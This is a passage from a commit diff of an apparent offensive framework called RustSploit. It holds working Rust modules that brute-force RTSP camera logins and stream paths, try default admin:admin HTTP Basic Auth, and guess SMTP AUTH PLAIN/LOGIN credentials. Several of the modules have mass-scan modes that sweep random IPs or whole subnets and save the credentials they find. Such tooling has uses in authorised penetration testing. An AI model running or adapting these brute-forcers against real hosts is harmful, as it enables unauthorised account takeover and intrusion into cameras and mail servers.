return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
)
.await
{
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
if host_part.is_empty() {
return Err(anyhow!("Target host cannot be empty."));
}
let normalized_host = if host_part.starts_with('[') {
if host_part.contains("]:") {
host_part.to_string()
} else {
format!("{}:{}", host_part, default_port)
}
} else {
let colon_count = host_part.matches(':').count();
if colon_count == 0 {
format!("{}:{}", host_part, default_port)
} else if colon_count == 1 {
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
if port_str.parse::<u16>().is_ok() {
if host_only.contains(':') {
format!("[{}]:{}", host_only, port_str)
} else {
host_part.to_string()
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("[{}]:{}", host_part, default_port)
}
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((normalized_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+67 -6
View File
@@ -1,14 +1,69 @@
use anyhow::{Result, Context};
use reqwest;
use colored::*;
use std::time::Duration;
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Sample Default Credential Checker".to_string(),
description: "Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ Sample Default Credential Checker ║".cyan());
crate::mprintln!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
// Mass scan mode: random IPs, CIDR subnets, or target file
if is_mass_scan_target(target) {
return run_mass_scan(target, MassScanConfig {
protocol_name: "HTTP Basic Auth",
default_port: 80,
state_file: "sample_cred_mass_state.log",
default_output: "sample_cred_mass_results.txt",
default_concurrency: 200,
}, |ip: std::net::IpAddr, port: u16| async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
let url = format!("http://{}:{}/login", ip, port);
let resp = client.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.ok()?;
if resp.status().is_success() {
let msg = format!("{}:{}:admin:admin", ip, port);
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
None
}).await;
}
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
crate::mprintln!();
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
@@ -17,9 +72,15 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
crate::mprintln!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
// Persist discovered credential to the framework's credential store
let _ = crate::cred_store::store_credential(
target, 80, "http", "admin", "admin",
crate::cred_store::CredType::Password,
"creds/generic/sample_cred_check",
).await;
} else {
println!("[-] Default credentials admin:admin failed.");
crate::mprintln!("{}", "[-] Default credentials admin:admin failed.".yellow());
}
Ok(())
+274 -259
View File
@@ -1,296 +1,311 @@
use anyhow::{anyhow, Context, Result};
use colored::Colorize;
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, Ordering};
use colored::*;
use std::net::{ToSocketAddrs, IpAddr};
use std::net::TcpStream;
use std::sync::Arc;
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use std::io::{BufRead, BufReader, Write};
use base64::{engine::general_purpose, Engine as _};
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
/// Default SMTP timeout in milliseconds (10 seconds).
/// Real SMTP servers often do reverse DNS lookups on connect, taking 5-10s.
const DEFAULT_TIMEOUT_MS: u64 = 10_000;
use crate::utils::{
load_lines,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "SMTP Brute Force".to_string(),
description: "Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt_port(25);
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
let threads = prompt_threads(8);
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
let full_combo = prompt_yes_no("Try every username with every password?", false);
let verbose = prompt_yes_no("Verbose mode?", false);
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_smtp_bruteforce(config)
}
crate::mprintln!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("[*] Loaded {} username(s).", usernames.len());
println!("[*] Loaded {} password(s).", passwords.len());
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
while rx.try_recv().is_ok() {}
break;
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let users = Arc::new(users);
let passes = Arc::new(passes);
return run_mass_scan(target, MassScanConfig {
protocol_name: "SMTP",
default_port: 25,
state_file: "smtp_hose_state.log",
default_output: "smtp_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
async move {
// Quick connect check
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let target_str = ip.to_string();
for user in users.iter() {
for pass in passes.iter() {
let t = target_str.clone();
let u = user.clone();
let p = pass.clone();
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t, port, &u, &p, DEFAULT_TIMEOUT_MS)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", target_str, user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
Ok(Err(e)) => {
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return None;
}
}
_ => {}
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "smtp_subnet_results.txt").await?;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "smtp",
jitter_ms: 50,
source_module: "creds/generic/smtp_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let target_str = ip.to_string();
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&target_str, port, &user, &pass, DEFAULT_TIMEOUT_MS)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
});
}).await;
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
// --- Single Target Mode ---
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let threads = cfg_prompt_int_range("threads", "Threads", 8, 1, 256).await? as usize;
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
let usernames = load_lines(&username_wordlist)?;
let passwords = load_lines(&password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
}
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |target: String, port: u16, user: String, pass: String| {
async move {
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&target, port, &user, &pass, DEFAULT_TIMEOUT_MS)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency: threads,
stop_on_success,
verbose,
delay_ms,
max_retries: 2,
service_name: "smtp",
jitter_ms: 50,
source_module: "creds/generic/smtp_credcheck",
}, combos, try_login).await?;
result.print_found();
result.save_to_file(&output_file)?;
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
/// Read a single SMTP response line (terminated by \n).
/// Returns the trimmed line or an error on timeout / EOF.
fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
let mut line = String::new();
let n = reader.read_line(&mut line).context("SMTP read")?;
if n == 0 {
return Err(anyhow!("Connection closed"));
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
Ok(line.trim_end().to_string())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str, timeout_ms: u64) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_millis(timeout_ms);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = crate::utils::blocking_tcp_connect(&socket, timeout)?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut reader = BufReader::new(&stream);
// We write via a reference to the same stream (TcpStream is duplex)
let mut writer = &stream;
// Read banner — expect 220
let banner = read_smtp_line(&mut reader).context("Banner read")?;
if !banner.starts_with("220") {
return Err(anyhow!("No 220 banner"));
}
// Send EHLO
writer.write_all(b"EHLO scanner\r\n")?;
writer.flush()?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
// Read multi-line EHLO response (250-... continues, 250 ... ends)
// RFC allows arbitrary continuation lines; use generous limit
for _ in 0..100 {
let line = read_smtp_line(&mut reader).context("EHLO read")?;
if line.contains("AUTH") && line.contains("PLAIN") { plain_ok = true; }
if line.contains("AUTH") && line.contains("LOGIN") { login_ok = true; }
// "250 " (with space) is the final line of the EHLO response
if line.starts_with("250 ") { ehlo_seen = true; break; }
// If the line doesn't start with 250 at all, something is wrong
if !line.starts_with("250") { break; }
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
let mut blob = vec![0u8];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
writer.write_all(cmd.as_bytes())?;
writer.flush()?;
let resp = read_smtp_line(&mut reader).context("Auth response")?;
if resp.starts_with("235") {
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
return Ok(true);
}
if resp.starts_with("5") { return Ok(false); }
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
}
if !expect_user { return Ok(false); }
writer.write_all(b"AUTH LOGIN\r\n")?;
writer.flush()?;
// Wait for username prompt (334)
let prompt1 = read_smtp_line(&mut reader).context("Auth Login prompt")?;
if !prompt1.starts_with("334") { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
}
if !expect_pass { return Ok(false); }
writer.write_all(ucmd.as_bytes())?;
writer.flush()?;
// Wait for password prompt (334)
let prompt2 = read_smtp_line(&mut reader).context("Auth Pass prompt")?;
if !prompt2.starts_with("334") { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
writer.write_all(pcmd.as_bytes())?;
writer.flush()?;
let resp = read_smtp_line(&mut reader).context("Auth final response")?;
if resp.starts_with("235") {
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
return Ok(true);
}
if resp.starts_with("5") { return Ok(false); }
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg);
if let Err(e) = io::stdout().flush() {
eprintln!("[!] Failed to flush stdout: {}", e);
}
let mut b = String::new();
match io::stdin().read_line(&mut b) {
Ok(_) => b.trim().to_string(),
Err(e) => {
eprintln!("[!] Failed to read input: {}", e);
String::new()
}
}
}
fn prompt_port(default: u16) -> u16 {
loop {
let input = prompt(&format!("Port (default {}): ", default));
if input.is_empty() {
return default;
}
match input.parse::<u16>() {
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
Ok(port) => return port,
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
}
}
}
fn prompt_threads(default: usize) -> usize {
loop {
let input = prompt(&format!("Threads (default {}): ", default));
if input.is_empty() {
return default.max(1);
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return value;
}
}
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
if input.is_empty() {
return default_yes;
}
match input.to_lowercase().as_str() {
"y" | "yes" => return true,
"n" | "no" => return false,
_ => println!("[!] Please respond with y or n."),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message);
if response.is_empty() {
println!("[!] Path cannot be empty.");
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
